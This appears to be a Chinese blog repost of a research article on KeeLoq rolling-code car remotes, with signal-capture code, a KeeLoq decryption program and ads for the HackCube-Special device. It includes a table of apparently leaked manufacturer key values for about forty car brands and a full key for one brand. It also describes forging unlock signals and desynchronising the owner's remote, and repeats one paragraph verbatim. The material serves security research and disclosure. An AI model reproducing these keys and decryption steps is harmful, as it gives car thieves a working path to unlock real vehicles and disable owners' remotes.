使用HackCube-Special分析滚动码信号

栏目: 编程工具 · 发布时间: 5年前

内容简介:所谓

使用HackCube-Special分析滚动码信号

前言

所谓 滚动码(Rolling code) 是我们嗅探汽车遥控发射出来的射频信号,发现每一次的射频信号都是不一样的,并且每个信号只能被使用一次,这就是被称为滚动码的原因,本文以 Keeloq 举例,从设备工作频点,遥控信号编码,信号传输协议格式,来介绍滚动码是如何工作的,在介绍一下产生滚动码中最重要的 Keeloq加解密算法 ,以及Keeloq算法中使用的 编码秘钥生产规则 ,加密中 厂商秘钥泄露 的问题,到最后教大家如何打造一个像 HackCube-Special 的安全研究硬件去对滚动码进行安全研究。

使用HackCube-Special分析滚动码信号

设备工作场景

滚动码 相比于 固定码 较为安全一些,因此被部署到需要更强的 安全性 的设备上,例如 车库门 ,住户 门禁拉伸门 之类的用的最多的估计就是 汽车 上面了,目前市面上的 汽车 基本都是采用 滚动码 的,所谓的滚动码其实遥控每一次发射的数据都是 唯一不重复 的,因为数据是被经过 加密 后的 密文 在发射出来的,通常我们抓数据分析后会发现两次数据中会发生非常大的变化,目前已知在遥控器上常用的加密算法分别为 KeeloqHitag2

射频频点

使用HackCube-Special分析滚动码信号GQRX 设置在常用的几个频点上观察频谱图来确定遥控工作的频点,通常的工作在 315Mhz433Mhz 极个别的会采用868Mhz,915Mhz这几个频点,然后观察 433.92Mhz 附近的 频谱图 在遥控发射信号时候可以很明显的看到这个频谱的变化: 使用HackCube-Special分析滚动码信号 使用HackCube-Special分析滚动码信号 我们也可以通过遥控上的 FCC ID 在相关网站上查询设备的一些信息,或者是通过遥控上 标注 的信息,通过这个基本可以确定这个遥控工作的 频点 和采用的 调制方式 等等,实在不行还能查看PCB板子上的 晶体振荡器 来算出频率等等。

信号波形

使用HackCube-Special分析滚动码信号 使用HackCube-Special分析滚动码信号 我们将采样的原始数据导入 audacity 就可以看到遥控的信号大概是这样的,可以通过采样时候的频谱和波形看出来我们采用的钥匙是经过 ASK调制 ,其中 前导码 作用是让汽车知道将有信号到来注意接收,其中 同步引导码 的作用是同步时间,但是在后面审计程序代码中发现程序把这一段 同步引导码 来确定信号的 有效性 的,然后数据传输后会将滚动码序列号功能码状态码一并发送,间隔时间是担心干扰的原因让汽车没有接收到信号所以钥匙会把信号重复发射3-4次,间隔时间就是重复信号的间隔时间,这就是整个钥匙的周期。

编码规则 使用HackCube-Special分析滚动码信号

上图是 Bit 编码的格式一个 Bit3TE ,2个TE高电平信号1个TE低电平信号为 Bit0 ,1个TE高两个TE低为 Bit1 ,先发送Lsb 下面为解码实例,假设二进制数据为 01011110 因为先发送最低有效位,所以二进制数据是 0111 1010 然后二进制转化成十六进制为 0x7A

使用HackCube-Special分析滚动码信号 根据每个芯片型号来决定发送 数据格式 和内容,但都是大同小异本文以 HC201 举例。

使用HackCube-Special分析滚动码信号 当按下对应的 功能键(打开车门) 时程序会将对应的 4Bit功能码2Bit溢出码10Bit识别码16Bit同步计数值 通过 Keeloq加密 生成出所谓的 滚动码 ,这就是开头 32bit 滚动码

4Bit 功能码 :代表信号执行什么功能,当信号合法就执行对应的功能如 打开车门 ,在固定码区域也传输着4Bit 功能码,但最后还是根据32Bit滚动码中的功能码来执行; 2Bit 溢出码 :作用是当同步计数值到达65535+1后溢出码增一同步计数值清零,但在审计代码中发现并没有使用该溢出码; 10Bit 识别码 :此码是取 28Bit序列号最后10Bit 作为设备的识别码; 16Bit 同步计数值 :每次判断信号合法后汽车执行对应功能并将同步计数值保存下来,当新的信号到来会对比汽车保存的同步计数值,如果小于或者等于将判断信号非法,不执行任何操作,当大于保存的同步计数值,汽车执行对应功能并将同步计数值保存下来,这个在验证作为最关键的一环,这就是为什么汽车能防止 重放攻击 的关键; 28Bit序列号 :相当于每一个遥控都有一个 独立的ID ,在出厂时就会让汽车进入学习模式来保存这遥控的id和同步计数值,以后汽车可以根据此id来判断是否与汽车内部存储器中存储的ID一致,一致为 合法设备 。一辆汽车可以学习多个ID; 4Bit功能码 :作用是传输着对应的功能如打开车门,打开行李箱等等最多代表16种功能,但在后面测试中发现汽车会根据 32Bit滚动码 中的功能码为准; 2Bit状态码 :1Bit表示电池是处于一种低电压状态就是表示电池快没电了,另外1Bit代表信号是否是重复的,前面有说的设备会根据键入的时长来发送多段信号,这就是表示信号的重复可以从上面介绍来看到;最关键的一步就是通过 64Bit编码秘钥同步计数值,识别码,功能码 进行加密的步骤,其中使用的就是Keeloq算法。

Keeloq 加密算法

现在我们来了解下这个Keeloq算法: 使用HackCube-Special分析滚动码信号 加密流程如图所示,首先定义一个非线性表,这 个非线性表5Bit 的输入码在数据寄存器中间隔均匀的取 Bit31,Bit26,Bit20,Bit9,Bit1 总共五个Bit通过NLF(Nonlinear Logic Function) 0x3A5C742E 产生 1Bit 的输出码,然后输出码在在与 Bit16,Bit0 与秘钥中的 Bit0 进行 异或运算 生成 1Bit 加密数据,然后每次生成出加密数据,秘钥位和数据位都会进行移位,秘钥作为循环移位,加密数据作为数据移位,重复上述步骤 528 次后,得到 4字节密文 。  使用HackCube-Special分析滚动码信号 使用HackCube-Special分析滚动码信号 解密运算方式与加密过程的运算方法基本一样,只是将输入码改变成 Bit30,Bit25,Bit19,Bit8,Bit0 ,总共五个Bit通过NLF (Nonlinear Logic Function) 0x3A5C742E 产生 1Bit 的输出码,然后 1Bit 输出码和 Bit31Bit15 和秘钥中的 Bit15 进行 异或运算 产生出 1Bit 的解密数据,然后每次生成出解密数据,秘钥位和数据位都会进行位移,秘钥作循环移位,解密数据作为移位输入然后重复 528 轮还原 4字节明文 ,可以看出算法中最主要的就是 64Bit的编码秘钥

Keeloq 编码秘钥生产算法

我们来看看这个这个编码秘钥生成的机制是什么: 使用HackCube-Special分析滚动码信号 简单加密,直接把厂商秘钥当做设备的编码秘钥了。 使用HackCube-Special分析滚动码信号 标准秘钥 生成算法假设序列号为 0x1234567 ,通过标准的秘钥生成算法来定的话,首先会拿 2+序列号 通过 Keeloq的解密 操作得到 32BitLsb0x89074278 ,然后在拿 6+序列号 通过 Keeloq的解密 操作得到 32Bit Msb 值为: 0x0516FBE9 哪这个遥控的编码秘钥为 0x0516FBE989074278 ,与简单加密不同的是,使用简单加密的厂商生产出来的每个设备编码的秘钥都是 相同 的,而使用 标准秘钥 生成的根据每个遥控秘钥都 不会相同 ,意思说如果一辆车上学习了两个遥控,这两个遥控的编码秘钥都不是一样的。 使用HackCube-Special分析滚动码信号 安全秘钥生成算法假设 序列号0x1234567种子码0x12345678 ,这个种子码是 随机 的,每个遥控的种子码都是不一样的,首先会用种子码进行 keeloq解密 操作得到 32BitLsb 值为: 0x188646d6 ,然后在拿 6+序列号 通过 Keeloq的解密 操作得到 32Bit Msb 值为: 0xC3C83DA8 哪这个遥控的编码秘钥为 0xC3C83DA8188646d6 。简单说下这 三种加密算法 的区别,首先是简单加密直接拿厂商秘钥加密的话如果是通过 侧信道攻击 ,可以获取到 厂商秘钥 ,直接可以对其他的设备进行解密操作,然后如果是标准秘钥生成算法,因为每个遥控序列号都是不同的所以生出来的秘钥也是不同的如果使用侧信道攻击只能获取到编码秘钥就是只对这个设备有用然而对其他的设备都没有效果的,但是如果厂商秘钥被其他人获取了,因为发送信号时候会带着 28Bit的序列号 ,所以只要别人拿到了这个 厂商秘钥 就能 解密信号 ,而 安全秘钥生成算法 就不同了,即使是 厂商秘钥 被别人知道了,也只能拿到前 32位秘钥 ,后32位是根据 种子码 生成的,而种子码又是随机生成的,如果是hcs301那就要按住四个键才会把种子码给发射出来,这个种子码只有在学习模式下遥控才需要发射出来给汽车保存,之后就在也不会发射出这个 种子码 了。三种秘钥生成算法各不相同,很多厂商为了贪方便和效率认为只要有加密就可以,没有仔细的了解这三种的区别导致了安全隐患,这秘钥一旦被其他人获取,除了使用了安全秘钥生成算法能确保安全性,市面上的使用简单和标准生成算法的厂商,一旦厂商秘钥被泄露,所生产出出来的设备将不在安全,并且目前大多数是没有联网功能的,如果要升级程序更新秘钥和新的算法只能将设备回厂重新烧录或者找附近的4s店,大多数厂商因为成本和担心发生召回等事件后对名气之类的有负面影响,大多数厂商都是像鸵鸟一样把头埋在沙子了,假装听不到,一般的用户是没有办法自己升级设备程序的能力的,最关键的一环就是厂商秘钥,下面来讲讲下厂商秘钥的问题。

使用HackCube-Special分析滚动码信号 简单加密,直接把厂商秘钥当做设备的编码秘钥了。 使用HackCube-Special分析滚动码信号 标准秘钥 生成算法假设序列号为 0x1234567 ,通过标准的秘钥生成算法来定的话,首先会拿 2+序列号 通过 Keeloq的解密 操作得到 32BitLsb0x89074278 ,然后在拿 6+序列号 通过 Keeloq的解密 操作得到 32Bit Msb 值为: 0x0516FBE9 哪这个遥控的编码秘钥为 0x0516FBE989074278 ,与简单加密不同的是,使用简单加密的厂商生产出来的每个设备编码的秘钥都是 相同 的,而使用 标准秘钥 生成的根据每个遥控秘钥都 不会相同 ,意思说如果一辆车上学习了两个遥控,这两个遥控的编码秘钥都不是一样的。 使用HackCube-Special分析滚动码信号 安全秘钥生成算法假设 序列号0x1234567种子码0x12345678 ,这个种子码是 随机 的,每个遥控的种子码都是不一样的,首先会用种子码进行 keeloq解密 操作得到 32BitLsb 值为: 0x188646d6 ,然后在拿 6+序列号 通过 Keeloq的解密 操作得到 32Bit Msb 值为: 0xC3C83DA8 哪这个遥控的编码秘钥为 0xC3C83DA8188646d6 。简单说下这 三种加密算法 的区别,首先是简单加密直接拿厂商秘钥加密的话如果是通过 侧信道攻击 ,可以获取到 厂商秘钥 ,直接可以对其他的设备进行解密操作,然后如果是标准秘钥生成算法,因为每个遥控序列号都是不同的所以生出来的秘钥也是不同的如果使用侧信道攻击只能获取到编码秘钥就是只对这个设备有用然而对其他的设备都没有效果的,但是如果厂商秘钥被其他人获取了,因为发送信号时候会带着 28Bit的序列号 ,所以只要别人拿到了这个 厂商秘钥 就能 解密信号 ,而 安全秘钥生成算法 就不同了,即使是 厂商秘钥 被别人知道了,也只能拿到前 32位秘钥 ,后32位是根据 种子码 生成的,而种子码又是随机生成的,如果是hcs301那就要按住四个键才会把种子码给发射出来,这个种子码只有在学习模式下遥控才需要发射出来给汽车保存,之后就在也不会发射出这个 种子码 了。三种秘钥生成算法各不相同,很多厂商为了贪方便和效率认为只要有加密就可以,没有仔细的了解这三种的区别导致了安全隐患,这秘钥一旦被其他人获取,除了使用了安全秘钥生成算法能确保安全性,市面上的使用简单和标准生成算法的厂商,一旦厂商秘钥被泄露,所生产出出来的设备将不在安全,并且目前大多数是没有联网功能的,如果要升级程序更新秘钥和新的算法只能将设备回厂重新烧录或者找附近的4s店,大多数厂商因为成本和担心发生召回等事件后对名气之类的有负面影响,大多数厂商都是像鸵鸟一样把头埋在沙子了,假装听不到,一般的用户是没有办法自己升级设备程序的能力的,最关键的一环就是厂商秘钥,下面来讲讲下厂商秘钥的问题。

厂商秘钥提取

使用HackCube-Special分析滚动码信号 使用HackCube-Special分析滚动码信号 一般通过获取遥控配套的解码IC就是接收端中的解码IC,通过解码ic的型号查专门的单片机解密厂商把芯片焊下来然后给专门的单片机解密的厂商通过技术手段和专业的仪器将程序读出来,以 HCS301 举例,一般配套的解码ic就是 TDH6301 ,解码IC芯片FLASH or EEPROM种程序都是不可读的,但是可以通过一些技术手段将烧写的文件给读出来,这项技术被称为单片机解密,也有讲单片机破解,单片机攻击,MCU解密,MCU破解等等,将烧写的程序读出来后就可以自己复制和烧写到全新的芯片上这被广泛的用于山寨,如上图为HCS201的开盖图,因为实验室显微镜只能发大到这个倍度并不能清晰的看到电路图,但是需要注意的是用这种方式读出来的程序是经过编译后的,并不能直接获取到源码,但是可以通过提取的程序来和配套的发射端来分析出 厂商秘钥 ,不是 编码秘钥 ,意思说只要不是使用 安全秘钥模式 的设备都是有 一定风险 ,只是破解成本的问题,破解一款芯片成本为几千至上万元不等。 使用HackCube-Special分析滚动码信号 其实在市面已经发现不止一家厂商已经做出了相关的产品但是这类产品只是作为匹配或者生成出对应汽车厂商的遥控好让车主在原有遥控的基础上增加多一把遥控,或者是在车主丢失遥控的情况生成出遥控降低去4S更换遥控的成本,但这类型的产品安全性往往令人堪忧,作者就从一款遥控生成的设备上提取到了三十多个厂商的代码,涉及有百款左右的汽车。

 • 0• • 铁将军• HOP• CARD• B3E57139• 00• • NORMAL• HCS201
 • 1• • F3• HOP• CARD• 20065679• 00• • SINGLE• HCS301
 • 2• • 霍丝• HOP• DOOR• 84551223• 00• • SINGLE• HCS301
 • 3• • 凯越• HOP• CARD• 0000579a• 01• • SINGLE• HCS301
 • 4• • 长城哈佛• HOP• CARD• 19980319• 00• • NORMAL• HCS301
 • 6• • 兴达• HOP• CARD• 01231f2c• 00• • NORMAL• HCS301
 • 7• • 驰普雷特• HOP• DOOR• 822040AF• 00• • NORMAL• HCS301
 • 8• • SPARK• HOP• CARD• 68697554• 00• • SINGLE• HCS301
 • 9• • SEG• HOP• CARD• 88772211• 00• • SINGLE• HCS301
 • 10• • 红旗• HOP• CARD• 9871ba15• 02• • SINGLE• HCS301
 • 11• • 长安奔奔• HOP• CARD• abcd5556• 00• • NORMAL• HCS301
 • 12• • 东南蓝瑟• HOP• CARD• ffffcdef• 00• • NORMAL• HCS301
 • 13• • 比亚迪F0• HOP• CARD• 20061579• 00• • SINGLE• HCS301
 • 14• • 霍丝2型• HOP• DOOR• ABCD0001• 00• • SINGLE• HCS301
 • 15• • 江铃• HOP• CARD• 00000038• 00• • SINGLE• HCS301
 • 16• • 吉利自由舰• HOP• CARD• 75730750• 00• • SINGLE• HCS301
 • 17• • 爱丽舍• HOP• CARD• 39EF4226• 0C• • SINGLE• HCS301
 • 18• • 江铃宝典• HOP• CARD• 19720719• 08• • SINGLE• HCS301
 • 19• • 新赛格• HOP• CARD• 0000AAAA• 00• • NORMAL• HCS301
 • 20• • 漳州车库• HOP• CARD• FF7F8D77• 00" • SINGLE• HCS301
 • 21• • SONATA• HOP• CARD• 4841464C• 00• • NORMAL• HCS301
 • 22• • 哈佛315• HOP• CARD• 20632891• 00• • SINGLE• HCS301
 • 23• • 威志• HOP• CARD• 267E0000• 02• • SINGLE• HCS301
 • 24• • 别克(凯越/乐风/乐骋)• HOP• CARD• 2A5A5F45• 00" • NORMAL• HCS301
 • 25• • 吉利LG-1(国内版)• HOP• CARD• 4BA685C3• 00" • NORMAL• HCS301
 • 26• • 华泰圣达菲• HOP• CARD• 97896EF4• 00" • NORMAL• HCS301
 • 27• • 柳州五菱宏图• HOP• CARD• 2A5A5F34• 00" • NORMAL• HCS301
 • 28• • 本田理念• HOP• CARD• BDFEEACE• 00" • NORMAL• HCS301
 • 29• • 威志V2• HOP• CARD• E66AF7DE• 00" • NORMAL• HCS301
 • 30•   解放J6(不确定)• HOP• CARD• 51275230• 00" • SINGLE• HCS301
 • 31•   海马福美来(红灯)• HOP• CARD• E6FC9BDF• 00" • NORMAL• HCS301
 • 32• • 车库通用• HCS101• DOOR• 39f1284• 00• • SINGLE• HCS301
 • 33•  解放J6(红灯常亮)• HOP• CARD• A0E098AB• 00" • NORMAL• HCS301
 • 34•   众泰(2012款)• HOP• CARD• 568563dd• 00" • SINGLE• HCS301
 • 35• • 江淮瑞风• HOP• CARD• 562156ab• 00" • NORMAL• HCS301
 • 36• • 力帆620• HOP• CARD• E074EE78• 00" • SINGLE• HCS301
 • 37• • 宇通客车乘客门• HOP• CARD• 5875fd10• 00" • SINGLE• HCS301
 • 38• • 海马M3• HOP• CARD• 2455b2c1• 00" • SINGLE• HCS301
 • 39• • 森雅M80/S80/佳宝V80(2014款)• HOP• CARD• 54639def• 00" • NORMAL• HCS301
 • 40• • 别克君越(06~09款)• HOP• CARD• 1952a8de• 00" • SINGLE• HCS301

据我所知要想修复该问题必须要在汽车和遥控两端更新程序,除非是更新汽车端的接收程序并更换新的遥控设备,如有从业者可以探讨一下修复的方案。

风险演示设备

使用HackCube-Special分析滚动码信号 讲完 秘钥泄露 的事,我们要对这个遥控信号进行嗅探,这里我们使用的TI推出的 CC1101 射频芯片,主控端我是使用 ATmega32u4 对射频模块进行配置,我们这里是用的是 CC1101异步接收模式 ,使用 CC1101GDO2 用来接收信号数据下面会详细的讲讲:

#define CC1101_Keeloq_IOCFG2            0x29
#define CC1101_Keeloq_IOCFG1            0x2E
#define CC1101_Keeloq_IOCFG0            0x06
#define CC1101_Keeloq_FIFOTHR           0x47
#define CC1101_Keeloq_SYNC1             0xD3
#define CC1101_Keeloq_SYNC0             0x91
#define CC1101_Keeloq_PKTLEN            0xFF
#define CC1101_Keeloq_PKTCTRL1          0x00
#define CC1101_Keeloq_PKTCTRL0          0x30
#define CC1101_Keeloq_ADDR              0x00
#define CC1101_Keeloq_CHANNR            0x00
#define CC1101_Keeloq_FSCTRL1           0x06
#define CC1101_Keeloq_FSCTRL0           0x00
#define CC1101_Keeloq_MDMCFG4           0xF8
#define CC1101_Keeloq_MDMCFG3           0x93
#define CC1101_Keeloq_MDMCFG2           0x33
#define CC1101_Keeloq_MDMCFG1           0x22
#define CC1101_Keeloq_MDMCFG0           0xF8
#define CC1101_Keeloq_DEVIATN           0x00
#define CC1101_Keeloq_MCSM2             0x07
#define CC1101_Keeloq_MCSM1             0x20
#define CC1101_Keeloq_MCSM0             0x18
#define CC1101_Keeloq_FOCCFG            0x16
#define CC1101_Keeloq_BSCFG             0x6C
#define CC1101_Keeloq_AGCCTRL2          0x00
#define CC1101_Keeloq_AGCCTRL1          0x40
#define CC1101_Keeloq_AGCCTRL0          0x91
#define CC1101_Keeloq_WOREVT1           0x87
#define CC1101_Keeloq_WOREVT0           0x6B
#define CC1101_Keeloq_WORCTRL           0xFB
#define CC1101_Keeloq_FREND1            0x56
#define CC1101_Keeloq_FREND0            0x11
#define CC1101_Keeloq_FSCAL3            0xE9
#define CC1101_Keeloq_FSCAL2            0x2A
#define CC1101_Keeloq_FSCAL1            0x00
#define CC1101_Keeloq_FSCAL0            0x1F
#define CC1101_Keeloq_RCCTRL1           0x41
#define CC1101_Keeloq_RCCTRL0           0x00
#define CC1101_Keeloq_FSTEST            0x59
#define CC1101_Keeloq_PTEST             0x7F
#define CC1101_Keeloq_AGCTEST           0x3F
#define CC1101_Keeloq_TEST2             0x81
#define CC1101_Keeloq_TEST1             0x35
#define CC1101_Keeloq_TEST0             0x0B

这个是根据遥控生成的 CC1101 寄存器的配置,可以通过 SmartRF Studio 配置完参数后导出,在 CC1101datasheet 中对这些寄存器的作用有非常详细的介绍:

//参考datasheet写的一个设置工作射频频率的函数,可以使用SmartRF Studio计算得出
void setfreq(unsigned long int freq) { 
  unsigned long freqnum = freq / 396.734569;
  byte freqx[3];
  freqx[0] = freqnum;
  freqx[1] = freqnum >> 8;
  freqx[2] = freqnum >> 16;
  cc1101.writeReg(CC1101_FREQ2, freqx[2]); //计算出工作频率后写入相关的寄存器
  cc1101.writeReg(CC1101_FREQ1, freqx[1]); //计算出工作频率后写入相关的寄存器
  cc1101.writeReg(CC1101_FREQ0, freqx[0]); //计算出工作频率后写入相关的寄存器
}
void RF433_Keeloq() {
  cc1101.SS_PIN = RF433_CS; //设置芯片SPI片选引脚 
  cc1101.init(); //设置射频芯片基础寄存器设置
  setfreq(433920000); //设置工作射频频率
  cc1101.cmdStrobe(CC1101_SRX); //进入接收模式
  cc1101.writeReg(CC1101_IOCFG2, 0x0d); //使CC1101的GDO2引脚成异步数据输出模式
  cc1101.writeReg(CC1101_MDMCFG4, 0xc8); //设置速率(9.5K)
  cc1101.writeReg(CC1101_MDMCFG3, 0x93); //设置速率(9.5K)
}

cc1101.init() 函数中将刚刚的射频配置写入 CC1101 的相关寄存器中,然后我们挑几个关键的讲讲, setfreq 函数用于将 CC1101 设置在遥控器的工作频率上,然后通过 SPI 发送 CC1101_SRX 指令,使其进入接收数据的状态中,然后通过配置 IOCFG2.GDO2_CFG 这个寄存器,使 CC1101GDO2 输出异步串行数据(类似于网上那种超在生的接收模块),用了这种 异步接收模式后 就不能使用数据包处理, FIFO缓存 之类的了,简单的说就是将这个 ASK 的信号解调后通过 CC1101GDO2 的IO将数据输出到与单片机链接的引脚中,这样的好处是接收信号的宽容度高,可以接收多种协议的信号只要在单片机进行处理就可以了,并且可以接收不同速率的两个信号,我举个例子吧。 使用HackCube-Special分析滚动码信号 上面这个的是我通过 HackRF 接收到的原始数据导入到 Audacity 中的数据,然后下面这个是通过 逻辑分析仪 接到 CC1101的GDO2 引脚后的输出波形,然后我们可以看出这个信号被 CC1101 解调后输出为数字信号了,然后我们就可以直接对这个数字信号进行处理解码下来:

/
    receive Keeloq data
/
#include 
HackRadio Hackradio = HackRadio();
void Setup(){
    RF433_Keeloq(); //对CC1101进行配置
    Hackradio.enableReceive(RF433_att); //设置库调用的中断引脚 attachInterrupt(RF433_att, handleInterrupt, CHANGE);
}
void loop() {
  if (Hackradio.available()) {
    detachInterrupt(RF433_att); //禁用中断引脚
    Cube_PRINT.print("data:");
    Cube_PRINT.print(Hackradio.getkey()); //串口打印滚动码数据
    Cube_PRINT.print(";Serial Number:");
    Cube_PRINT.print(Hackradio.getsn()); //串口打印序列号数据
    Hackradio.resetAvailable(); //重置接收状态
    Hackradio.enableReceive(RF433_att); //打印完数据后在启用中断引脚
  }
}


然后根据 RCSwitch 写了一个类似类似接收 Keeloq 信号的库,原理就是通过 arduino 单片机的 attachInterrupt 中断函数每次数字信号的电平发生变化时候,进入到 handleInterrupt中断处理函数 ,将每次的时间记录下来,可以参考之前写的 固定码 的那一篇文章,然后在接收到两段信号之间的间隔时间后对之前中断保存的时间进行判断,然后就可以对存下来的时间进行解码了: 使用HackCube-Special分析滚动码信号 然后这个就是我接收一个铁将军品牌的遥控为例进行接收,这个是通过逻辑分析仪接到 CC1101 上的 GDO2 引脚的波形,然后这个数据的协议在前面有介绍到,这里就不过多的讲了。 使用HackCube-Special分析滚动码信号 然后我们按照之前说的编码规则,对存下来的每两个时间进行判断波形,就可以解码得到 10000010101110111001001101001000 这一串 二进制 数据在转成 十六进制``82bb9348 这个就是 Keeloq加密 后的 滚动码 数据了。 使用HackCube-Special分析滚动码信号 相同道理我们得到序列号 二进制 数据 0011100100011000001011011010 然后在转成 十六进制 ,得到序列号数据 39182da ,然后我们就可以对这个滚动码数据进行解密了:

#include
#include
#include
#define KeeLoq_NLF 0x3A5C742E
#define bit(x,n) (((x)>>(n))&1)
#define g5(x,a,b,c,d,e) (bit(x,a)+bit(x,b)2+bit(x,c)4+bit(x,d)8+bit(x,e)16)
typedef unsigned long int uint32_t;
typedef unsigned long long int uint64_t;
typedef unsigned long u32;
typedef unsigned long long u64;
uint64_t key;
uint32_t  KeeLoq_Encrypt (const uint32_t data, const uint64_t key){
uint32_t  x = data, r;
for (r = 0; r < 528; r++){
    x = (x>>1)^((bit(x,0)^bit(x,16)^(uint32_t)bit(key,r&63)^bit(KeeLoq_NLF,g5(x,1,9,20,26,31)))<<31);
  }
  return x;
}
uint32_t  KeeLoq_Decrypt (const uint32_t data, const uint64_t key){
  uint32_t x = data, r;
  for (r = 0; r < 528; r++){
    x = (x<<1)^bit(x,31)^bit(x,15)^(uint32_t)bit(key,(15-r)&63)^bit(KeeLoq_NLF,g5(x,0,8,19,25,30));
  }
  return x;
}
int main(int argc,char * argv[]){
    unsigned long sn = strtoul(argv[1],NULL,16);
    long unsigned int datad,Msb,Lsb,Key_data;
    unsigned long data = strtoul(argv[2],NULL,16);
    key=0xB3E5625A8CCD7139;
    Msb =KeeLoq_Decrypt(sn+0x60000000,key);
    Lsb =KeeLoq_Decrypt(sn+0x20000000,key);
    Msb=Msb <<32;
    Lsb=Lsb <<32;
    Lsb=Lsb >>32;
    Key_data=Msb+Lsb;
    printf("%lX",Key_data);
    printf("\n");
    datad=KeeLoq_Decrypt(data,Key_data);
    datad=datad<<32;
    datad=datad>>32;
    printf("%lX",datad);
    printf("\n");
    return 0; 
}

遥控是铁将军的厂商秘钥为 B3E5625A8CCD7139 他们所使用的是标准秘钥生成算法,所以我们先得算出这个的 编码秘钥 ,我们先得使用厂商秘钥解密 639182da(6+序列号) 因此我得到解密数据 7D093B66 这个是编码秘钥的前一部分,然后我们在用厂商秘钥解密 239182da(2+序列号) 然后算出数据 B31C374A 编码秘钥的后面一部分,就得到了完整的编码秘钥 7D093B66B31C374A ,我们就可以通过这个编码秘钥去 解密滚动码 的数据了,可以通过我提供的这个程序算出标准秘钥生成算法的编码秘钥了:

./Standard_Keeloq_Decrypt 39182da 82bb9348
7D093B66B31C374A
42DA560F

使用HackCube-Special分析滚动码信号 42DA560F 就是通过刚刚得到的滚动码 82bb9348 解密得来的,这个数据内容就不过多的在讲了,说一下这个 同步计数值 吧,这个同步计数值用于 防止重放攻击 ,因为每次信号被使用后遥控端会进行递增该值,接收端(汽车)也会保存这个同步计数值,然后在重放之前的信号的话同步值比之前的小然后接收端就不会识别这个信号了.也因此所以被称之为滚动码,然后我们看看下一个滚动码的数据:

./Standard_Keeloq_Decrypt 39182da 79a05530
42DA5610

79a05530 就是下一次遥控发射出来的滚动码的数据内容解密后发现 42DA5610 与之前的 42DA560F 只有同步计数值的地方发生的改变,但是密文却有着翻天覆地的变化这就得力于 Keeloq 的非线性加密算法了:

./Keeloq_Encrypt 22DA5611
B5E677C9

我们知道秘钥之后就可以在原本同步计数值的基础上递增然后修改功能码为解锁然后带上序列号发送出去就可以打开车门了,我们甚至可以将同步计数值加上几万因此让原本的遥控失效: 使用HackCube-Special分析滚动码信号 可以使用 HackCube-Special 嗅探遥控发射出来的数据作为 滚动码 学习来使用,不会提供 解密发射 ,具有危险性的功能我们的硬件产品预计会在 12 月份月底左右上线, 在我们社区上提交质量不错的文章是有机会拿到第一时间产品的哟,有任何问题的欢迎在 社区 上与我们交流。


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

从零开始学C++程序设计

从零开始学C++程序设计

编者:吴惠茹 / 机械工业 / 2017-05-01 / 69.0

一起来看看 《从零开始学C++程序设计》 这本书的介绍吧!

HTML 编码/解码
HTML 编码/解码

HTML 编码/解码

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试

HSV CMYK 转换工具
HSV CMYK 转换工具

HSV CMYK互换工具